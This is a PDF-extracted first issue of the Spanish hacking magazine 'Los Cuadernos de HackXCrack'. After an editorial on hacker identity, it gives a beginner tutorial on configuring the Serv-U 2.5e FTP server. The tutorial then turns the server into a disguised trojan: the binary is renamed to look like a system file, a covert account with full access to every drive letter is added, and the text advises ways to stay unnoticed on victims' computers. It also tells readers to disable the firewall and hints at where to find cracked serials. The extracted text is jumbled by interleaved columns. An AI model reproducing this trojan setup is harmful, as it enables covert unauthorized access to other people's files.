juridico@hackxcrack.com LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 0 3
  • 4. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k EDITORIAL - EDITORIAL - EDITORIAL - EDITORIAL - EDITORIAL HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k PARA NUESTROS LECTORES: informativos "de masas". Pues bien, HACKER no es mas que una persona que posee conocimientos avanzados sobre una Como podréis ver, esta no es una revista mas, por materia en concreto, normalmente relacionados primera vez tenéis ante vosotros una publicación con la tecnología aunque ni mucho menos limitado LIBRE que os ofrecerá la posibilidad de explorar a ello. Ponen sus aptitudes al servicio de un único la red tal y como debe explorarse ;) objetivo: EL CONOCIMIENTO. Desean conocer el funcionamiento de "las cosas" y no encuentran límites en sus camino mas que su propia curiosidad. Esta publicación responde a la pregunta mas veces No se dedican a destruir ni a causar estragos entre expuesta en LA RED: ¿Como puedo ser un hacker? sus "victimas", no se dedican a robar ni a chantajear Bien, ahora seguro que muchos ya se están ni a regodearse de sus "conquistas", muy al contrario "sonriendo" y pensando lo ilusos que somos al suelen advertir a terceros de las debilidades de intentar "eregirnos" en "portadores de LA LUZ", sus sistemas y, desgraciadamente, esos "terceros" pensando que seremos una "escuela de lamers" en lugar de agradecerles su aviso se dedican a y similares a otras publicaciones que, entre sus denunciarlos o perseguirlos… aunque no siempre 100 páginas de revista solo contiene 5 de "material es así, por supuesto, muchas compañías y utilizable" (si es que puede llamar así). gobiernos han aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores (o empleados) de estos. BILL GATES es un HACKER Pues NO, lo siento, vosotros seréis nuestros jueces (el papá ventanas), como Linus Torvalds (el papá y, llegado el caso, NUESTROS VERDUGOS. Linux) o Grace Hooper (la Almirante, creadora del Lenguaje COBOL), los autores del COREWAR Robert Thomas Morris, Douglas McIlroy Nuestro objetivo es: ACABAR CON LA BASURA y Victor Vysottsky (precursores de los DE LA RED (lamers y demás "esencias") con el creadores de virus informáticos), Fred Cohen (el único método que conocemos: LA EDUCACIÓN y primer investigador y autor de los virus de la historia), con un única bandera que será por siempre nuestra Dennis Ritchie y Ken Thompson ("hacedores" firma: SOLO EL CONOCIMIENTO TE HACE LIBRE. del Lenguaje C y co-creadores del SO UNIX), Gary Kildall (autor del sistema operativo CMP y Estos son nuestros pilares: LA EDUCACIÓN Y EL CPM/86), Tim Paterson (autor del Quick & Dirty CONOCIMIENTO. Para ser un HACKER (maldita DOS), Morris (autor del virus "The tour of the palabra mal entendida por unos y peor utilizada Worm"), Kevin Mitnick (el más buscado por el por otros) solo hace falta dos cosas: curiosidad y FBI), Phiber Optik (líder juvenil convertido en medios, a partir de ahora la curiosidad deberéis símbolo de los hackers), Richard Stallman ponerla VOSOTROS, porque los medios los (impulsor del "software gratuito" y GNU), Johan facilitaremos NOSOTROS. En las siguientes líneas Helsingius (primer conductor de un Remailer os descubrimos cómo podremos conseguir nuestros Anónimo), Chen Ing-Hou (autor del virus CIH - objetivos y definimos algunas de las palabras que Chernobyl- ), Sir Dyistic (creadorutor del Back más han sido violadas y retorcidas en su significado. Orifice), David L. Smith (virus Melissa), Reonel Ramonez (virus LoveLetter), Vladimir Levin (Robó electrónicamente 10 millones de dólares al Hacker: Este término ha sufrido a lo largo de su Citibank), y muchos mas. ¿Cómo? ¿Pero no hemos corta historia una horrible conspiración perpetrada dicho que los hackers no comenten delitos? Pues por la ignorancia de los medios, eso que NO, vuelve a leer su definición… pero claro, de personalmente llamo "periodismo de telediario" (en todo hay en la viña del señor, y al igual que hay clara alusión a los ridículos artículos que no hacen delincuentes entre el clero hay hackers que en un mas que intoxicar nuestra percepción de las cosas momento u otro han ·caido· en la ilegalidad, nadie e insultar nuestra inteligencia). Ese tipo de es perfecto!!!!! … y Bill Gates es un HACKER? periodismo unido a "otros poderes", desde los Por supuesto, solo tienes que leerte su biografía. monopolios que deben justificar su incompetencia ¿Sorprendido? Espero que no, porque eso no es hasta los gobiernos que deben justificar sus nada mas que un cero a la izquierda en comparación intereses ocultos pasando por la industria del cine con lo que vas a encontrar en esta revista. (normalmentedemonológica) y los medios LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 0 4
  • 5. CREA TU PRIMER TROYANO: INDETECTABLE E INMUNE A LOS ANTIVIRUS El Serv-U 2.5e UN SERVIDOR FTP “MODIFICADO” No, no nos hemos vuelto locos ni es un error tipográfico ni pertenecemos a la prehistoria… si os vamos a enseñar las “tripas” de esta versión tan antigua del Serv-U es por algo (confiad en nosotros, leed este artículo y tendréis entre las manos un troyano configurado por vosotros mismos y, lo más importante: ningún antivirus dará la alerta). programas, documentos de Word…) de un 1.- Introducción: ¿Qué es un servidor ordenador a otro a través de una red (Internet, FTP? Intranet, Ethernet, Token Ring, FDDI…) Nada mejor que una referencia directa para Para utilizar un protocolo (en este caso el FTP) responder. Cuando abrimos nuestro Navegador necesitaremos una serie de programas que de Internet (Internet Explorer, Netscape o exploten sus posibilidades. Llegado a este cualquier otro) y accedemos a una Página punto aclaramos una duda que muchos tienen Web, lo que realmente hace nuestro Navegador cuando descubren el fascinante mundo del es pedirle a un Servidor Web esa Página. FTP: debemos distinguir muy bien entre Entonces el Servidor Web sirve la Página, Servidor FTP y Cliente FTP, no es lo mismo nuestro Navegador la recibe, interpreta y y los programas tampoco. finalmente muestra en pantalla. Pues bien, un Servidor FTP lo que hace es servir • Servidor FTP: Programa que una vez archivos en lugar de páginas Web. ejecutado pone a disposición de terceros una serie de carpetas de nuestro disco duro. Son ¿Para que sirve instalar un Servidor FTP en programas Servidores de FTP los conocidísimos nuestro ordenador? Pues para compartir, por Serv-U (http://www.serv-u.com/) y G6 ejemplo, nuestra última colección de MP3 con (http://www.bpftpserver.com/) entre otros. el mundo entero : Esta ha sido (y sigue siendo) • Cliente FTP: Programa que te la forma más utilizada en Internet para servir permite conectar con los Servidores FTP para archivos y, quien no domine o como mínimo coger archivos. Son programas Clientes los conozca el mundo de los FTP, está conocidos CuteFTP (http://www.cuteftp.com/) desperdiciando su conexión a Internet. y el FlashFXP (http://www.flashfxp.com/) entre otros. Un Servidor FTP utiliza el File Transfer Protocol o Protocolo de Transferencia de Ficheros (FTP), Para establecer una referencia clara podemos es decir, un conjunto de normas (protocolo) decir que: un Cliente FTP es a un Servidor FTP lo que permiten enviar ficheros (archivos, LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 0 5
  • 6. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k que un Navegador Web es a un Servidor Web. evaluar el programa sin limitaciones) CLIP: Actualmente se ha puesto de moda el "compartir ficheros" a través de p ro g r a m a s c o m o e l e D o n k e y 2 0 0 0 (www.edonkey2000.com), pero de eso hablaremos en otra ocasión :) 2.- Instalando un Servidor FTP en nuestro equipo: Hemos dicho que utilizaremos como Servidor FTP el programa Serv-U en su versión 2.5e, pues bien, como no lo encontraréis en su Web Oficial, podéis bajároslo de http://www.hackxcrack.com/cuadernoshack/ numero1/servu25e.exe Al picar sobre el "I Agree" se cerrará esa ventana y aparecerá el Serv-U. ADVERTENCIA: No está registrado, por A SABER: Para quienes tienen un supuesto, eso sería piratería digital y Firewall instalado. Si vuestro Firewall nosotros no queremos saber nada de semejantes (Zone Alarm o cualquier otro) se activa, crímenes contra la humanidad. Aunque es una no te preocupes, es normal, dejad que el versión MUY ANTIGUA, no importa, tendréis Serv-U se conecte a Internet. que pagar si queremos registrarla… aunque… siempre hay una alternativa, si visitas la página www.astalavista.com seguro que encuentras el serial para registrarlo Pero te lo advertimos, eso es delito, haciéndolo corres el riesgo de que A SABER: Para quienes utilizan el los chicos de negro se planten en tu casa y te Windows XP. Si tienes el WINDOWS XP detengan por “exceso de velocidad” ;) y lo has instalado por defecto, seguro que tienes el Firewall del XP "en marcha", lo que impedirá al Serv-U aceptar conexiones del exterior. Tenemos que desconectarlo haciendo lo A SABER: Para practicar el contenido siguiente: Menú Inicio --> Conexiones de Red de este artículo no necesitamos registrar --> Picar sobre la conexión de red que os da este programa, por lo tanto podemos hacer servir Acceso a Internet (la mayoría solo tendréis una) la versión share que os proporcionamos en la --> Pestaña General, pulsar sobre "Propiedades" dirección antes expuesta. Esa versión es --> Pestaña "Avanzada" y le echas un vistazo a completamente operativa, pero solo por 45 días la sección "Servidor de Seguridad de Conexión a Internet" (en letras azules). En este apartado, Se acabó la charla, vamos allá. Cread un hay una casilla de verificación (un cuadrado) directorio en vuestro disco duro C: llamado, con este texto a su derecha "Proteger mi equipo por ejemplo, FTPSERVER. Coge el archivo que y mi red limitando o impidiendo el acceso a él nos hemos bajado y cópialo dentro de desde Internet". Si la casilla de verificación está marcada con una señal verde, picad sobre el C:FTPSERVER y ejecútalo. Lo primero que cuadrado, puesto que es imprescindible que esta vemos es una pantallita diciéndonos que esta casilla no figure como activada. es una versión gratuita y tal y cual, bueno, Acabados los "preparatorios" a ver si podemos pues picamos sobre el botón "I AGREE" de la seguir sin interrupciones. Ya tenemos sección "CHOICE 1" (esto os da 45 días para LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 0 6
  • 7. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k funcionando el Servidor FTP. Por defecto, al Ahora vamos a preparar el Servidor FTP ejecutarlo intenta conectarse, por eso ahora para que sirva a los posibles Clientes el tenemos que desconectarlo pulsando sobre el contenido de la Carpeta icono con forma de rayo. Bien, ahora, una vez c:paramisclientes. desconectado, vamos a configurarlo. A) Primero debemos crear un usuario. Lo que hacemos con esto es proporcionar al Serv-U un Nombre de Usuario y un Password para que sólo pueda conectarse a nuestro Servidor de Ficheros (nuestro Servidor FTP) quien conozca el user/pass. No queremos que cualquiera vea nuestros archivos ¿verdad? A.1) Ir a Setup --> Users --> Seleccionar el Usuario Default (a la izquierda) y pulsamos Lo que vamos a hacer es poner a disposición de Delete (abajo a la derecha). Con esto hemos posibles Clientes un Servidor FTP con acceso a la eliminado el usuario por defecto del Serv-U. carpeta (C:paramisclientes) la cual contiene a su vez varias Carpetas (MP3, DivX…). También otorgaremos los permisos pertinentes. Por lo tanto, ADVERTENCIA: Que nos sirva de preparamos la "escena" creando la Carpeta precedente, nunca debemos instalar paramisclientes en el Disco C: y dentro de esta Servicios de Red y dejar los parámetros creamos las Carpetas: MP3 y DIVX. Finalmente por defecto (en este caso un User Default), metemos en la Carpeta MP3 unos cuantos archivos porque quien conozca esos parámetros podrá entrar en vuestros equipos sin problema, queda (los que queramos) y en la Carpeta DIVX hacemos advertido!!!, incluso cuando instalamos un lo mismo. elemento de hardware (por ejemplo un ROUTER o un Firewall externo) debemos ELIMINAR los La "escena" que hemos preparado en nuestro accesos por defecto… bueno, ya iremos viendo estas cosas mas adelante, solo quería llamar la Disco C: queda de la siguiente manera: atención sobre el principal error de los administradores (en este caso TU eres el Disco (C:) Administrador de tu equipo) Paramisclientes DivX Videodemigato.avi Videodeminovia.mpg Mimúsica mimúsica.mp3 micancion.mp3 LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 0 7
  • 8. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k A.2) Poned en User Name un nombre (este Append: será el Nombre del Usuario que estamos • READ - Permitirá que El Cliente pueda creando), por ejemplo hackandcrack y poned ver vuestros archivos y pueda "pedirlos" (es en Password un password, por ejemplo decir, que nuestro Servidor le enviará al Cliente hack85crack23 (esta será la clave que debe los ficheros que pida) conocer el usuario hackandcrack, si no la • WRITE - Permitirá que El Cliente pueda conoce no podrá entrar). enviaros archivos a vosotros. • APPEND - Es una opción que debemos B) Vamos a decirle al Serv-U dónde queremos activar prácticamente siempre, esta nos permite que un usuario "aparezca" cuando entre en descargar un archivo "a trozos". Imaginad que nuestro servidor. Esto delimita el movimiento un cliente está descargando un archivo de del cliente, no nos gustaría (supongo) que un 600MB, después de 2 días descargando y sin cliente se conecte a nuestro PC y tenga acceso apagar el ordenador ya tiene "bajados" 569MB, a todo el PC y a todos los archivos ¿verdad? entonces nuestra querida compañía eléctrica pega una bajada a la línea y nuestro ordenador B.1) Si en Home Directory pusimos c: con se reinicia. DIOS!!!!! ¿ha perdido nuestro esto conseguiríamos precisamente que el cliente todo lo descargado hasta el momento? cliente accediese a todo el Disco C:, incluso Pues si dejamos esta casilla sin activar es lo aunque después limitemos el acceso asignando mas seguro, no os imagináis el mosqueo del permisos estamos facilitando a un posible cliente cuando intenta reanudar la descarga atacante el trabajo). Así que mejor ponemos y NO PUEDE!!!!! Porque el Servidor (o sea, c:paramisclientes :). nosotros) NO HEMOS ACTIVADO EL APPEND. • DELETE - Esto permitirá a nuestro B.2) Lo que haremos ahora es decirle a nuestro cliente borrar nuestros archivos, por lo tanto, Servidor los permisos que le daremos al si activamos esta opción, mejor tener siempre contenido del directorio c:paramisclientes. copia de lo que pongamos en ese directorio. Picamos ADD (abajo), esto nos abrirá una • EXECUTE - Esto permitirá a nuestro ventana llamada Path Name donde picaremos cliente ejecutar archivos en nuestro equipo Browse, esto nos permitirá seleccionar el/los (de esto ya hablaremos, porque no es directorios (en este caso exactamente así, pero bueno… tiempo al c:paramisclientedixv) y picamos OK hasta tiempo) llegar de nuevo a la pantalla principal del Setup Users. Repetimos la operación para Del grupo Directories seleccionamos c:paramisclientesmp3. List: Ahora podemos comprobar que en el cuadrado • LIST - Permite a tu cliente ver (listar) grande encabezado por las palabras los directorios (carpetas). "Files/Directory access rules" aparecen nuestras • MAKE - Permite a tu cliente crear Carpetas c:paramisclientedixv y nuevos directorios (carpetas) c:paramisclientesmp3. • REMOVE - Permite a tu cliente borrar (eliminar) directorios (carpetas) B3) Pues procedemos a dar permisos. A la derecha del cuadrado grande, podemos Ahhhh… vale, abajo hay otro cuadro de ver una columna de Cuadros de Selección selección llamado INHERIT, debemos activarlo divididos en dos grupos (Files y Directories). también (aunque seguro que ya lo está por defecto)… esto asigna las opciones Del grupo Files seleccionamos Read y seleccionadas anteriormente a TODOS los LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g 0 8
  • 9. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k subdirectorios y archivos que contienen estos. la ventana siguiente lo desactivamos y Para que se entienda, imaginad que dentro pulsamos ok para volver a donde estábamos. de la Carpeta c:paramisclientesdivx Ahora, abajo a la derecha pulsamos OK y ya tenemos dos carpetas mas y archivos dentro está. Con esto nos ahorraremos disgustos en de esas Carpetas. Pues si no seleccionamos esta versión del Serv-U (en versiones mas esa opción, nuestros clientes no podrán acceder avanzadas, dejar activa esta característica correctamente a los archivos de los permite una cierta optimización de los accesos subdirectorios porque no habrían heredado a ficheros) los permisos del directorio anterior. Ya está, pulsamos OK (abajo a la derecha) y nos aparecerá de nuevo la pantalla principal del Serv-U. Bien, pues ya tenemos "casiapunto" nuestro servidor. Solo unos cuantos detalles más: 1.- Vamos a Setup y picamos FTP-Server… • En FTP port number ponemos 21 (si queremos ser victimas de todos los escáneres del mundo) o 4780 por ejemplo (si queremos estar un poco más ocultos). No es el momento de explicar lo que es un AVANZANDO: Sobre el sexto cuadro puerto, eso lo veremos con todo lujo de detalles Block FTP BOUNCE attack. en la sección de TCP/IP, solo deciros que es En posteriores números ya profundizaremos en la explicación de estas opciones y muchas otras como una puerta de acceso al ordenador, como que encontrareis al instalar versiones superiores el ratón o el teclado que tenéis conectado a de este programa; pero no puedo seguir este un puerto llamado PS2 o COM o USB (espero artículo sin por lo menos explicaros algo de esta que os suene). opción. • En Max Speed, debemos dejarlo en Imaginad que tenemos dos ordenadores (A en Alemania y B en Barcelona) corriendo un blanco si queremos utilizar toda la potencia Servidor de FTP cada uno de ellos. Imaginemos de nuestra conexión a Internet. que A y B están conectados a Internet mediante • Max. no. of Users es el número líneas muy rápidas y nosotros estamos en un máximo de usuarios (clientes) que queremos ordenador C situado en un pueblo perdido en puedan conectar a un mismo tiempo. Si vuestra las montañas con una línea de acceso a Internet lentísima. conexión a Internet es normalita (Cable Pues bien, mediante programas de FXP (como Español) pues con 3 usuarios (Clientes) ya es el FlashFXP) podemos desde C conectarnos a suficiente. Debajo de estas opciones tenemos A y B al mismo tiempo y hacer que A y B 8 cuadros de selección, debemos activar el transfieran datos entre ellos bajo nuestras primero (Enable security, activa la seguridad), ordenes. Lo importante es que nosotros solo daremos ordenes, los datos no pasarán por el segundo (Encrypt Passwords, encripta los nuestro ordenador, con esto conseguimos mover passwords), el cuarto (ya lo explicaremos, gran cantidad de datos por Internet sin necesidad digamos que desconecta de nuestro Servidor de una conexión rápida… pensad en ello un a un Cliente que no hace nada), el sexto (ya momento… :) lo explicaremos) y el séptimo (evita ataques por fuerza bruta). • Ahora, arriba a la derecha veréis un botón que pone Dir Cache, lo pulsamos y en LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 0 9
  • 10. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k 3.- Entrando en nuestro Servidor FTP Activando esta casilla, lo que hacemos es impedir como un Cliente: ese comportamiento. Esto es positivo en caso de poner el Servidor FTP al servicio de terceros, Ahora que ya tenemos nuestro Servidor de porque eso impide que un cliente utilice nuestro Servidor como "pasarela de datos". Archivos: Desactivando esta casilla permitiremos el FXP, esto es positivo en caso de ser únicamente • Abrid el Internet Explorer. nosotros quienes tengamos acceso al Servidor • Ir a la dirección FTP. ftp://hackandcrack:hack85crack23@192.168 .0.1:4780/ Ya tenemos nuestro Servicio de Red FTP. Ahora Sustituid 192.168.0.1 por cualquiera de las IP lo activamos pulsando el icono del rayo (el que salen en la última línea (en este caso --- primero de la pantalla del Serv-U) y si todo > FTP Server on-line: IP-number(s) ha ido bien, en servicio se activará y veremos 184.57.80.195, 192.168.0.1, port number 4780) en el cuadro blanco algo parecido a esto: Serv-U FTP-Server v2.5e - Copyright (c) 1995- 2000 Cat Soft, All Rights Reserved - by Rob ALTERNATIVA 1: En caso de que Beckers o b t e n g á i s u n e r r o r, i r a Cat Soft is an affiliate of Deerfield.Com ftp://hackandcrack:hack85crack23@127.0.0.1: Using WinSock 2.0 - max. 32767 sockets 4780/ (es lo mismo, simplemente cambio vuestra IP (dirección de red) por otra IP "especial" que No logfile specified, logging messages to screen también es vuestra (ya hablaremos de ello en otra only ocasión) [1] Sat 06Apr02 15:34:47 - Starting FTP Server... (Version 2.5e (32-bit)) • Ahora ya debemos tener ante vuestros Using full try-out version (Permission server ojos las Carpetas que pusimos dentro del la Directorio c:paramisclientes. Podemos contacted - you can proceed) trabajar con ellas como si se tratase de una FTP Server on-line: IP-number(s) 184.57.80.195, carpeta mas de vuestro PC, podéis entrar, 192.168.0.1, port number 4780 copiar su contenido a vuestro PC, borrarlos (eso no puesto que no dimos permisos de Fijaros en la ultima línea, nos indica que el Delete), subir archivos vuestros (en este caso Servidor de FTP está corriendo en las IP tampoco porque no dimos permisos de Write), 184.57.80.195 (vuestra dirección en Internet, etc. Repasad los permisos dados a las Carpetas que por supuesto será diferente a esta que DIVX y MP3, podemos cambiarlos según veis aquí) y en la IP 192.168.0.1 (vuestra nuestras necesidades. dirección Interna, ya os lo explicaré) y en el puerto 4780 (el que le pusimos nosotros en A RECORDAR. Apunte sobre los lugar del 21). Servidores: cuando nos conectamos a un Servidor (sea de FTP, de Web o cualquier Bien, pues ya tenemos nuestro servidor y otro) debemos pensar que estamos accediendo a un sistema mediante una conexión. Aunque el supongo que queréis entrar a fisgonear Servidor esté en nuestro propio ordenador, cuando ¿verdad?... nos conectamos a él debemos pensar que estamos ante un "elemento de conexión", es decir, que podemos (y debemos) utilizar los programas adecuados para ello. Es la forma perfecta de LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 0
  • 11. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k practicar, instalando Servidores en nuestro PC seguro jamás se ha escrito, comprensible y y accediendo a ellos a través de Programas ameno, un curso "para todos los públicos" sin Cliente. dejar de lado los conceptos técnicos. Estar atentos al quiosco!!! :) AVANZADO. Apunte sobre las direcciones IP: xxx.xxx.xxx.xxx (ejemplo 108.245.42.5) Es como 4.- Sobre la dirección introducida en vuestra dirección de casa y cada ordenador nuestro navegador: conectado a Internet tiene una como mínimo, por eso en Internet NUNCA sois anónimos del Ejemplo: todo. En la sección correspondiente ya trataremos en profundidad este tema, solo ftp://hackandcrack:hack85crack23@127.0.0. deciros que existe una nomenclatura para definir 1:4780 direcciones y que algunas de estas son privadas, es decir, que solo pueden utilizarse Formato: en redes internas. Por eso podemos tener dos [PROTOCOLO]://[USER]:[PASS]@[IP]:[PUER (o mas) direcciones IP, una será la externa o pública (la que daremos a conocer a nuestros TO] (el contenido entre los corchetes [ ] son clientes de Internet, por ejemplo un familiar variables y los corchetes nunca deben ponerse, nuestro que esté en nuestra misma ciudad o comparadlo por ejemplo con la instrucción de cualquier otra parte del mundo) y otra interna acceso a vuestro propio Servidor de FTP) o privada (la que daremos a conocer a los ordenadores que tenemos conectados directamente al nuestro, por ejemplo el Profundicemos un poco: ordenador de nuestro [PROTOCOLO] -- ftp:// padre/hermano/hijo/jefe/compañero en la Es la forma en que describimos el protocolo habitación/sala/mesa de al lado). a utilizar. En caso de ser una página Web, sería el archiconocido http:// (por ejemplo http://www.microsoft.com) AVANZANDO. Apunte sobre la dirección especial 127.0.0.1: Esta es una Dirección IP Interna Especial y [USER]:[PASS] -- hackandcrack:hack85crack23 permite acceder a nuestro ordenador aun en Es el nombre de usuario y la clave separados caso de que no tengamos conexión a Internet o por dos puntos. En este caso los introducidos ni tan siquiera tengamos red interna configurada. por nosotros al configurar nuestro Servidor Se utiliza como "looping", un sistema feedback, FTP. es decir, una forma de poder trabajar con programas de red sin tener una red… pero en el curso de TCP/IP ya entraremos en ello y @[IP]:[PUERTO] -- @127.0.0.1:4780 daremos más detalles. La @ separa el usuario de la IP. 127.0.0.1 es una de las IP de nuestro equipo (en este caso una dirección "especial") COMENTARIO. Las personas que lean esto y tengan conocimientos avanzados Los Dos Puntos separan la IP del Puerto en TCP/IP deben estar pensando en la 4780 Es el puerto de escucha que pusimos al poca profesionalidad con la que estoy configurar nuestro Servidor FTP describiendo todo este tema de las IP, pero este artículo no es (ni lo pretende) un estudio sobre TCP/IP, sino un intento de acercar a todo el mundo los conceptos básicos para que puedan comprender el funcionamiento de un servidor FTP. En este mismo cuaderno (o en próximos) encontrarás un curso de TCP/IP como estoy LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 1
  • 12. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k uno de los archivos de Microsoft a cualquier 5.- Practicando carpeta de vuestro Disco Duro y veréis que se iniciará la descarga. Ahora sois Clientes de Llegados a este punto, ya estamos conectados Microsoft :) a vuestro Servidor de FTP mediante nuestro 2) Abrid otra sesión del Internet Explorer y navegador (Internet Explorer o el que uséis conectaros a vuestro habitualmente), así que las transferencias de (ftp://hackandcrack:hack85crack23@127.0.0 archivos serán tan rápidas como lo sea vuestro .1:4780). Ahora arrastramos uno de los archivos disco duro… pero si en lugar de conectaros a de Nuestro Servidor FTP a cualquier carpeta vuestro Servidor de FTP os hubieseis conectado de vuestro Disco Duro y veréis que se iniciará al de Microsoft, veréis que la velocidad es la la descarga. Ahora somos clientes de nosotros de vuestra conexión a Internet… venga, mismos. :) conectaros ahora a ftp://ftp.microsoft.com/ y 3) Intentamos arrastrar archivos de cualquier practicad eso de "pillar" archivos : (este servidor carpeta de nuestro disco duro a nuestro es de Microsoft y es de LIBRE ACCESO, no Servidor en cualquiera de las Carpetas (DIVX piense nadie que está "robando archivos"). Es o MP3), veremos que no podemos hacerlo, como vuestro Servidor FTP (mas o menos), para eso debemos dar permisos de escritura pues ya tenemos montado un Servidor FTP y a las Carpetas DIVX y MP3. Pues lo hacemos, funcionando, igual que las grandes empresas damos permisos de WRITE y MAKE a esas :) Carpetas (el cómo hacerlo ya lo hemos explicado mas arriba). Finalmente volvemos a intentar copiar y ya sin problemas. AVA N Z A N D O : Sobre Pero si intentamos arrastrar archivos de nuestro ftp://ftp.microsoft.com disco duro al FTP de Microsoft, veremos que ¿Qué ha pasado con la nomenclatura no se deja. Supongo que te imaginas el motivo, [PROTOCOLO]://[USER]:[PASS]@[IP]: [PUERTO]? Pues nada, sigue siendo la misma, recordad que nosotros acabamos de dar pero este FTP es de acceso público, es decir, permisos de lectura y escritura a nuestro que puede entrar todo el mundo. Pasar al artículo Servidor FTP, pero Microsoft solo ha dado de FXP para saber más sobre los accesos permiso de LECTURA a su Servidor FTP, por anónimos. lo tanto podéis "pillar" archivos pero no "subirles" archivos a ellos. 4) Abrimos dos sesiones del Internet Explorer A SABER. Pero… ¿no quedamos que y ponemos las ventanas una junto a la otra. para entrar en un Servidor FTP hacía En una ponemos la dirección de vuestro Server falta un programa Cliente de FTP? Pues SI, FTP y en otra la del Server de Microsoft. Ahora pero el navegador de Microsoft (el Internet Explorer) ya tiene "una especie de Cliente FTP" arrastrad un archivo de Microsoft a vuestro incorporado… pero es muy malo, lento y sirve Server y… jejeje, os da un error como una para poco mas que ver y descargar archivos de casa ¿verdad? Acabamos de intentar (sin éxito) Servidores FTP remotos. hacer una transferencia entre dos Servidores de FTP, eso se llama FXP… pero de eso ya hablaremos en otro momento :) Solo comentaros que no hemos podido hacer Practica un poco, por ejemplo: FXP por dos motivos: uno las limitadas 1) Abrimos el Internet Explorer y nos capacidades del Internet Explorer y otro que conectamos al Servidor FTP de Microsoft Microsoft ha configurado su Servidor FTP (ftp://ftp.microsoft.com). Veremos una serie activando aquella casilla que hacía referencia de carpetas, entrad en la carpeta ResKit y al Bounce Attack :) Por lo tanto ya hemos a- después en la carpeta win2000 Ahora arrastrad LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 2
  • 13. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k TU PRIMER TROYANO - TU PRIMER TROYANO - TU PRIMER TROYANO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k prendido algo muy interesante, para conseguir • Ejecutamos el amdset.exe (que en hacer FXP necesitaremos un programa de FXP realidad es el Sev-U, aun podéis ver (como el FlashFXP) y dos servidores que perfectamente el icono, después nos permitan el Bounce Attack (y mas cosas que encargaremos de eso :) os explicaremos). • Menú Setup --> Users y borramos el usuario por defecto (Delete) • Añadimos uno nuevo (por ejemplo ADVERTENCIA: He descrito cómo minidump) y le ponemos un pass (por ejemplo configurar este Servidor FTP (la versión dumping) 2 . 5 e d e l S e r v - U ) p o rq u e e s l a q u e • En Home Directory le metemos c: y "transformaremos" en un troyano. No se te ocurra a File Directory/Access Rules le añadimos utilizarla en tu ordenador de forma permanente, para eso utiliza una versión superior. ¿Por qué? (ADD) tantas unidades como letras del Muy sencillo, si los programas en sus últimas abecedario ingles existen :) versiones tienen agujeros de seguridad, imagínate Es decir, añadimos a: y b: (o mejor no, que una versión tan antigua, para quien conoce el eso se nota mucho, bueno, como queráis:), tema, es como un "queso" :) c:, d:, e:, f:, g:, h: … y así hasta z: (he dicho alfabeto ingles, no seamos mulas metiendo ñ: o una letra compuesta como ch: o cualquier bestialidad de ese tipo, ante la 6.- "Transformando" el Serv-U 2.5e duda no introducid esa letra ¿vale?) en un Troyano : Con esto conseguimos acceso a todos los discos duros y particiones de un ordenador, Hemos escogido este programa y versión de esa es nuestra intención, porque este troyano Servidor FTP porque es muy sencillo y porque irá a parar a ordenadores de los que no tenéis solo necesita para ejecutarse un archivo (el ni idea de cómo están configurados ni de que habéis ejecutado) y otro archivo de cuantas particiones tienen ni nada, así que configuración en formato texto plano. ¿Qué? nos curamos en salud y les "pillamos" acceso ¿Y dónde demonios está el otro archivo? a todo :) (lo de no poner el a: y b: es porque eso nos da acceso a la disquetera, y "canta" Este artículo es para principiantes de nivel mucho que alguien esté en su ordenador cero y, a partir de este momento será un viendo un video y de repente la disquetera artículo para principiantes de nivel 1, pero empiece a hacer el tonto ¿verdad?) harían bien en leerlo quienes se creen muy listos y muy avanzados, porque vamos a crear No olvidéis dar permisos COMPLETOS a cada nuestro primer Troyano con el Serv-U :) A nueva Carpeta (en este caso son unidades de partir de ahora acelero un poco y no me paro disco duro) :) y pulsamos OK a explicar "boludeces", como diría un estimado coleguilla argentino :) Vamos a crear un Directorio nuevo en nuestro Disco Duro (c:seru) y copiamos el Serv-U de http://www.hackxcrack.com/cuadernoshack/ numero1/servu25e.exe en ese directorio y: • Renombramos servu25e.exe a amdset.exe (por ejemplo) LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 1 3
